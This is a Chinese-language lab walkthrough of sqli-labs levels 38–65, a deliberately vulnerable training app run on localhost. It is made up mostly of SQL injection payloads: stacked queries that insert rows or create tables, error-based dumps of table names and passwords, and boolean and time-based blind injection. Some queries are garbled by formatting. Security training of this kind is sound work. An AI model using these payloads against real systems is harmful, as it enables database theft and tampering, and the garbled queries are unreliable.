美文网首页sql注入我爱编程
sqli-labs(less38-less65)

sqli-labs(less38-less65)

作者: BerL1n | 来源:发表于2018-04-16 21:41 被阅读386次

    在做题之前可以先参考MYSQL注入天书之stacked injection

    LESS-38

    本关用常用方法都可以爆出数据库信息,然而考察的不是爆出信息,而是Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
    这我们构造一下:
    http://127.0.0.1/sqli-labs-master/Less-38/?id=1';insert into users(id,username,password) values(15,'less38','less38') -- +

    图片.png
    图片.png
    然后可以发现它是两条语句都执行了的。

    LESS-39

    和less-38的区别在于sql语句的不一样:SELECT * FROM users WHERE id=$id LIMIT 0,1
    也就是数字型注入,我们可以构造以下的payload:
    http://127.0.0.1/sqli-labs-master/Less-39/?id=1;insert into users(id,username,password) values(16,'less39','less39') -- +

    图片.png
    图片.png
    可见两条语句都执行了。

    LESS-40

    本关与前两关基本相同,错误不回显,只是对id参数进行('id')处理

    LESS-41

    此处与less-39是一致的,区别在于41错误不回显。所以我们盲注。
    http://127.0.0.1/sqli-labs-master/Less-41/?id=1;insert into users(id,username,password) values(17,'less41','less41') -- +

    图片.png
    图片.png
    注入成功

    LESS-42

    Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。
    从login.php源代码中查下信息:


    图片.png

    Password变量在post过程中,没有通过mysql_real_escape_string()函数的处理。因此在登录的时候密码选项我们可以进行attack。
    用户名可以随意填写,
    密码我们可以构造进行注入。


    图片.png

    这里username:admin,password:c';create table less42 like users#
    原sql语句为
    sql="SELECT∗FROMusersWHEREusername=′username' and password='$password'";
    登录时构造的sql语句为
    SELECT * FROM users WHERE username='admin' and password='c';create table less42 like users#
    利用stacked injection,我们成功执行创建数据表less42的语句。


    图片.png

    同样的利用此方式可以更新和插入数据项。

    LESS-43

    本关与42关的原理基本一致,我们还是看一下login.php中的password。看一下sql语句为:
    sql="SELECT∗FROMusersWHEREusername=(′username') and password=('$password')";
    我们可以这么构造:
    username:admin
    Password:c');create table less43 like users#
    和42相同,不严实了。

    LESS-44

    本关是基于盲注的,这里盲注主要是因为没有报错信息,所以要采用盲注。这关与42关的区别就在于没有报错信息
    我们尝试构造:
    username:admin
    Password:a';insert into users(id,username,password) values (18,'less44','less44')#


    图片.png
    图片.png

    可以看到已注入成功。

    LESS-45

    45和43是一样的,不过45没有报错信息,所以盲注吧,构造方法和之前一样。

    参考MYSQL注入天书之order by后的injection

    LESS-46

    从这开始,要用到order by 相关注入的知识。
    本关的sql语句为sql="SELECT∗FROMusersORDERBYid";
    尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)
    从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,我们先来了解一下mysql官方select的文档。
    先了解下源代码


    图片.png
    尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(升序or降序排列)
    图片.png
    图片.png
    从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于的我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入,我们先来了解一下mysql官方select的文档。
    图片.png
    我们可利用order by后的一些参数进行注入。
    1)、order by 后的数字可以作为一个注入点。也就是构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
    http://127.0.0.1/sqli-labs-master/Less-46/?sort=left(version(),1)
    没有报错,但是right换成left都一样,说明数字没有起作用,我们考虑布尔类型。此时我们可以用报错注入和延时注入。
    此处可以直接构造 ?sort= 后面的一个参数。此时,我们可以有三种形式,
    ①直接添加注入语句,?sort=(select ******)
    ②利用一些函数。例如rand()函数等。?sort=rand(sql语句)
    Ps:此处我们可以展示一下rand(ture)和rand(false)的结果是不一样的。
    图片.png
    图片.png
    ③利用and,例如?sort=1 and (加sql语句)。
    同时,sql语句可以利用报错注入和延时注入的方式,语句我们可以很灵活的构造。
    报错注入:
    爆表:
    http://127.0.0.1/sqli-labs-master/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
    图片.png
    爆列:
    http://127.0.0.1/sqli-labs-master/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'))) --+
    图片.png
    爆值:
    http://127.0.0.1/sqli-labs-master/Less-46/?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+
    图片.png
    接下来我们用rand()进行演示一下,因为上面提到rand(true)和 rand(false)结果是不一样的。
    http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
    图片.png
    图片.png
    从上述两个图的结果,对比rand(ture)和rand(false)的结果,可以看出报错注入是成功的。
    延时注入例子 :
    http://127.0.0.1/sqli-labs-master/Less-46/?sort=(SELECT IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) FROM (select database() as current) as tb1)
    http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and If(ascii(substr(database(),1,1))=116,0,sleep(5))
    尝试这两个语句可以看到明显的延时效果。

    LESS-47

    本关的sql语句为 sql="SELECT∗FROM users ORDER BY ′id'";
    将id变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。
    、order by后的参数
    我们只能使用and来进行报错和延时注入。我们下面给出几个payload示例。
    ① 可以利用报错的方式进行
    爆表:http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
    版本号:
    http://127.0.0.1/sqli-labs-master/Less-47/?sort=1'and (select * from%20(select NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

    图片.png

    http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and (select count() from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()2))) -- +

    图片.png
    可以看到user()的内容,同时可以构造其他的语句进行注入。

    LESS-48

    本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
    可以利用sort=rand(true/false)进行判断。
    http://127.0.0.1/sqli-labs-master/Less-48/?sort=rand(ascii(left(database(),1))=178)

    图片.png
    http://127.0.0.1/sqli-labs-master/Less-48/?sort=rand(ascii(left(database(),1))=115)
    图片.png
    And后的延时注入
    http://127.0.0.1/sqli-labs-master/Less-48/?sort=1%20and%20(If(ascii(substr(database(),1,1))=115,0,sleep(5)))

    LESS-49

    本关与47关基本类似,区别在于没有错误回显,所以我们可以通过延时注入进行注入。
    利用延时注入
    http://127.0.0.1/sqli-labs-master/Less-49/?sort=1%27%20and%20(If(ascii(substr((select%20username%20from%20users%20where%20id=1),1,1))=69,0,sleep(5)))--+
    有明显延时

    LESS-50

    本关开始进行order by stacked injection
    执行sql语句我们这里使用的是mysqli_multi_query()函数,而之前我们使用的是mysqli_query(),区别在于mysqli_multi_query()可以执行多个sql语句,而mysqli_query()只能执行一个sql语句,那么我们此处就可以执行多个sql语句进行注入,也就是我们之前提到的statcked injection。
    这里我们上述用到的方法依旧是可行的。
    构造:
    http://127.0.0.1/sqli-labs-master/Less-50/?sort=1;create table less50 like users -- +

    图片.png 图片.png

    LESS-51

    本关的sql语句为 sql="SELECT∗FROMusersORDERBY′id'";
    我们此处要进行stacked injection,要注释掉',此处给出payload:
    http://127.0.0.1/sqli-labs-master/Less-51/?sort=1';create table less50 like users -- +

    LESS-52

    和less50是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式

    LESS-53

    和less51是一样的,只是这里的mysql错误不会在前台显示,但是对于stacked injection是一样的利用方式

    LESS-54

    这一关我们主要考察的依旧是字符型注入,但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。因为已经知道了数据库名字叫做challenges,所以我们需要知道表名。

    图片.png
    已经得到表名为zh202gsitv(当然你测试的时候应该不是这个),接下来就是要找到该表的所有列
    http://127.0.0.1/sqli-labs-master/Less-54/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='zh202gsitv' --+
    图片.png
    我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在secret_DZ1Q列中,所以我们直接查看该列的内容
    图片.png
    得到:L6zOyIj2m8V1qs8KkExPbOrE,然后提交。

    LESS-55

    本关的sql语句为:
    sql="SELECT∗FROMsecurity.usersWHEREid=(id) LIMIT 0,1";
    其余和less54是一样的,所以我们将上述的语句前添加 ) 即可,但是这里要求次数为14次。

    LESS-56

    与less54.55形式是一致的,我们关注sql语句,
    sql="SELECT∗FROMsecurity.usersWHEREid=(′id') LIMIT 0,1";

    LESS-57

    图片.png

    " " 的处理,所以此处我们构造的payload要进行 "" 的处理

    LESS-58

    执行sql语句后,并没有返回数据库当中的数据,所以我们这里不能使用union联合注入,这里使用报错注入。
    http://127.0.0.1/sqli-labs-master/Less-58/?id=0' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'))) --+

    图片.png
    http://127.0.0.1/sqli-labs-master/Less-58/?id=0' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='yo3l18wb5k'))) --+
    图片.png
    http://127.0.0.1/sqli-labs-master/Less-58/?id=0' and extractvalue(1,concat(0x7e,(select group_concat(secret_IOPS) from challenges.yo3l18wb5k))) --+
    图片.png
    key:0PZNM6TefSE4eqLlV6lIzZyl 然后提交。

    LESS-59

    和58题相同,不过id数字型注入

    LESS-60

    与上题也想同,对id参数进行("")处理

    LESS-61

    此处对于id处理,利用两层括号。形式和上述是一样的

    LESS-62

    此处union和报错注入都已经失效了,那我们就要使用延时注入了。
    http://127.0.0.1/sqli-labs-master/Less-62/?id=1' and If(ascii(substr((select group_concat(table_coulmn) from information_schema.coulmns where table_schema='challenges'),1,1))=79,0,sleep(10))--+
    当正确的时候时间很短,当错误的时候时间大于10秒

    LESS-63

    这题和62一样,我们只需要看到sql语句上
    $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
    方法与62一样

    LESS-64

    此处的sql语句为
    sql="SELECT∗FROMsecurity.usersWHEREid=((id)) LIMIT 0,1";
    此处对id参数进行了处理,不过还是延时注入,和上题相似

    LESS-65

    $id = '"'.$id.'"';
    // Querry DB to get the correct output
    $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
    此处对id进行了 “” () 的处理,构造payload时还是使用延时注入。

    相关文章

      网友评论

        本文标题:sqli-labs(less38-less65)

        本文链接:https://www.haomeiwen.com/subject/aypekftx.html